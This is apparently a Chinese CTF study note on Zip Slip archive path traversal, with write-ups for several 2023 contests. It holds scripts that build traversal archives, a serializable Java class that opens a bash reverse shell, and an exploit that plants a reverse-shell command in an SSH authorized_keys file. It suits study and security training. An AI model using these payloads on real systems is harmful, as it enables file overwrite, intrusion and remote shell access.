zipslip任意文件上传与覆盖漏洞
zipslip
Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等
主要是解压时存在的漏洞
利用此漏洞的前提:
- 压缩文件名称存在
..
这样的恶意目录穿越字符 - 解压代码不会对文件名进行检测,一般直接与路径进行拼接
漏洞利用
windows
下无法直接生成带有../
这样字符的文件,所以一般用脚本生成
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
import zipfile
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("./Evil.class", "../../../usr/lib/jvm/java-8-openjdk-amd64/jre/classes/Evil.class", zipfile.ZIP_DEFLATED)
zipFile.close()
题目关于zipslip的部分
DASCTF x CBCTF 2023 Deserialize?Upload!
DASCTF x CBCTF - 飞书云文档 (feishu.cn)
通过spring-boot-actuator
依赖漏洞泄露端点,/actuator/env
查看到java_home
的路径以及用户名admin
访问/actuator/heapdump
下载文件,并使用工具分析内存得到登陆密码
登陆上后admin路由存在文件上传
package com.example.nochain.Utils;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
public class Unzip {
public Unzip() {
}
public static void unzip(File file, Information information, String path) throws Exception {
path = path + "/";
ZipFile zipFile = new ZipFile(file);
Enumeration e = zipFile.entries();
while(e.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)e.nextElement();
String filename = zipEntry.getName();
information.innerFile.add(filename);
File f = new File(path + filename);
f.getParentFile().mkdirs();
f.createNewFile();
InputStream is = zipFile.getInputStream(zipEntry);
FileOutputStream fos = new FileOutputStream(f);
int length = false;
byte[] b = new byte[1024];
int length;
while((length = is.read(b, 0, 1024)) != -1) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
if (zipFile != null) {
zipFile.close();
}
}
}
对解压的文件没有检测,存在zipslip
任意文件上传
思路就是:构造一个readObject方法中含恶意代码的类后上传至jre/classes目录
。。。。不理解,为什么是java_home
的目录,不清楚,没有题目环境
import java.io.*;
public class Evil implements Serializable {
private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
in.defaultReadObject();
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/x 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
p.waitFor();
if(p.exitValue()!=0){
}
String s = null;
while((s=reader.readLine())!=null){
System.out.println(s);
}
}
}
import zipfile
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("./Evil.class", "../../../usr/lib/jvm/java-8-openjdk-amd64/jre/classes/Evil.class", zipfile.ZIP_DEFLATED)
zipFile.close()
本地构造base64,通过反序列化入口反弹shell
利用相同的类名随便构造字符串进行反序列化
SCTF2023 SycServer
记得lolita
师傅就是通过两场xctf分站赛直接从NAN升入Nu1L,这就是其中一场,太强了
/file-unarchiver 解压zip
/readfile?file= 读文件
/readir 列出/tmp目录
/admin 对127.0.0.1:2221进行ssh访问
利用zipslip去覆盖一下私钥,然后admin路由对私钥有一些处理,在admin路由里其实是会执行ssh -i rsa_key vanzy@xxxxx
这个指令去读取密钥文件的。然后我们可以再密钥文件里加入一条恶意的语句command=xxxxxxx
,
大致步骤就是
- zipslip去覆盖authorization文件
- 访问admin让他读取密钥文件,触发command指令
- 获取反弹shell
tel师傅的exp,随便看看咯
import requests
import os
url = "http://159.138.131.31:8888/"
# url = "http://119.13.91.238:8888/"
# url = "http://t-kali:8888/"
with open("keys","w") as f:
f.write('command="bash -c \'bash -i >& /dev/tcp/vps/port 0>&1\'" ')
r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys")
f.write(r.text)
f.close()
os.system("python3 zip.py")
# upload
r = requests.post(url+"file-unarchiver",
files={"file": ("key.zip", open("key.zip","rb").read())})
print(r.text)
r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys")
print(r.text)
r = requests.get(url + "admin")
print(r.text)
羊城杯2023 ezyaml
tar的zipslip文件覆盖
import os
import tarfile
def zipslip(tarinfo):
tarinfo.uid = tarinfo.gid = 1000
tarinfo.uname = tarinfo.gname = "poc"
return tarinfo
tar = tarfile.open("poc.tar","w|")
fullpath = os.path.join("../../","config/1.yaml")
tar.add(fullpath,filter=zipslip)
tar.close()
D3CTF x AntCTF 2023 d3go
应该是这一部分
func Upload(c *gin.Context) {
f, err := c.FormFile("file")
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}
if (f.Header.Get("Content-Type") != "application/zip" && f.Header.Get("Content-Type") != "application/x-zip-compressed") || path.Ext(f.Filename) != ".zip" {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "not a zip file",
})
return
}
uu := uuid.New()
zipPath := path.Join("upload", uu.String()+".zip")
if err := c.SaveUploadedFile(f, zipPath); err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "save zip fail",
})
return
}
tree, err := upload.Unzip(zipPath, path.Join("unzipped", uu.String()))
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}
c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "upload success",
Data: tree.Children,
})
最后是需要zipslip覆盖掉配置文件config.yaml
,在其中的url指向热部署的恶意go文件
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("exp.zip")
zipFile.write("config.yaml", "../../config.yaml", zipfile.ZIP_DEFLATED)
zipFile.write("./shell", "../shell", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
总结
漏洞利用是很简单的,关键是在文件上传时能不能想到这个漏洞,关键还是在于思路